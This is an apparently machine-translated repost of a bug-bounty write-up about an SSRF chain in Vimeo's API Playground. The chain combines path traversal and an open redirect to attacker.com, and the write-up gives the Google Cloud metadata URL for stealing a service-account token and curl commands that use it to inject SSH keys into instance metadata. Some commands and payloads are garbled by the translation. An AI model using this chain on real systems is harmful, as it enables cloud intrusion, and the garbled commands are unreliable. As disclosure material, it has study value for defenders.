Shulou(Shulou.com)05/31 Report--

How to find the SSRF loophole in Vimeo, I believe that many inexperienced people do not know what to do about it. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

What is shared below is a SSRF vulnerability (server request forgery) of the video website Vimeo. You can use open redirection and Google Cloud instance token to achieve Vimeo server code execution, which is seriously harmful.

Loophole background

Vimeo deploys an API interface called API Playground on the website https://developer.vimeo.com, and all requests to the website are directed at the server, such as the following error:

Taking a closer look at the above POST request, we can see that it contains a server-oriented GET request, which can be simply abstracted as follows:

Https://api.vimeo.com/users/{user_id}/videos/{video_id}

In this abstract request, we can find that there are many parameters that we can control. The first is the URI parameter, which is / users/ {user_id} / videos/ {video_id}. The request method here is GET. If the request method is POST, the parameter can also be set to the post parameter. User_id and video_id are two variable values that can be defined in segments.

Server directory traversal

I tried to traverse some common directories in the URI parameter, but returned a 403 status after several tests, that is, the server actually understood the request but refused to execute it. However, I think that because user_id & videos_id are also included in the URL and should be internal parameters of the server, it should be feasible to make changes to them. Finally, the test found that by using the form of.. / URL, a ROOT-level request for the api.vimeo.com server can be formed, as follows:

It roughly means that if the constructed GET request is as follows:

URL.parse ("https://api.vimeo.com/users/1122/videos/../../../attacker")"

The final response to the request will be the https://api.vimeo.com/attacker page. In the figure above, you can see that if the request it constructed is authenticated, then eventually all possible responses to the api.vimeo.com will be listed in the response message.

To raise rights through api.vimeo.com

After thinking about it for a while, I think this mechanism should follow the HTTP 30X redirection. It's a long story. So, knowing this, we can construct an open redirection that allows the Vimeo server to jump to the resources we control.

Find a breakthrough

After research, I found that on a server on api.vimeo.com, you can jump to the master station vimeo.com:

Https://api.vimeo.com/m/something

You can jump to:

Https://vimeo.com/m/something

The general idea is:

Https://api.vimeo.com/m/something/..../open/redirect?url=https://vimeo.com/m/something

So if we replace the vimeo.com after redirect?url= with the website we control, won't it be OK? Therefore, based on this discovery, we have a wide range to find an api.vimeo.com server that can jump successfully. In the vulnerability report, I finally found a less effective jump server. Here, for the sake of confidentiality, I only give a general idea of how to construct it, as follows:

Https://vimeo/vulnerable/open/redirect?url=https://attacker.com

In the end, a 302 jump with a temporary redirection to the attacker.com will be performed successfully.

Comprehensive utilization to form SSRF

The final feasible Payload is as follows:

.. / m _ beat _ ableram _ URL = https://attacker.com

Combined with the previous directory traversal method, add video_id, so the final jump URL is:

Https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

After parsing, it becomes:

Https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

If redirected, it will become:

Https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

Finally, in addition to the request to the vimeo.com server, a request for https://attacker.com is also initiated, where the response message from the vimeo.com server is in json format, as follows:

Other forms of SSRF vulnerability discovery

Since Vimeo's infrastructure is deployed on the Google cloud, the first thing that comes to mind is to analyze the Google metadata API interface. Because I was shocked to see the vulnerability report of Andr é Baptista (@ 0xacb) using Google metadata interface to implement shopify instance SSRF ($25000), I will refer to @ 0xacb's method to exploit this vulnerability (see SSRF in Exchange leads to ROOT access in all instances for details). The general idea is to request the following link first:

Http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

It returns an account token:

{"headers": ["HTTP/1.1 200", "Content-Type: application/json", "Host: api.vimeo.com"], "code": 200, "body": {"access_token": "ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA", "expires_in": 2631, "token_type": "Bearer"}}

The scope of permissions for this account token are:

$curl https://www.googleapis.com/oauth3/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA

Response:

{"issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring"," expires_in ": 2443," access_type ":" offline "}

I can use this account token to add my public SSH key to the Vimeo instance, and then connect to it through my private key, as follows:

$curl-X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"-H" Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA "- H" Content-Type: application/json "- data'{" items ": [{" key ":" harsh-bugdiscloseguys "," value ":" harsh-ssrf "}]} Response: {" kind ":" compute#operation "," id ":" 63228127XXXXXX "," name ":" operation-XXXXXXXXXXXXXXXXXX " "operationType": "compute.projects.setCommonInstanceMetadata", "targetLink": "https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX"," targetId ": 10423XXXXXXXX", "status": "RUNNING", "user": "10423XXXXXXXX-compute@developer.gserviceaccount.com", "progress": 0, "insertTime": "2019-01-27T15:50:11.598-08:00" "startTime": "2019-01-27T15:50:11.599-08:00", "selfLink": "https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}"

After that, you can successfully connect to the instance of Vimeo on the Google cloud under the following circumstances:

SSH is generally only available on the private network, which is enough to further raise the right to the shell level. In addition, I extracted the Kubernetes key from the Google cloud, but I didn't know how to use it, but fortunately the Vimeo security team thought it was valid.

The whole vulnerability discovery process is these, that is, there are two aspects of SSRF risks. Thanks to Andr é Baptista (@ 0xacb) for the great vulnerability report reference, Brett (@ bbuerhaus) for SSRF's writeup, and the Vimeo security team for their efforts to fix it.

After reading the above, do you know how to find SSRF vulnerabilities in Vimeo? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.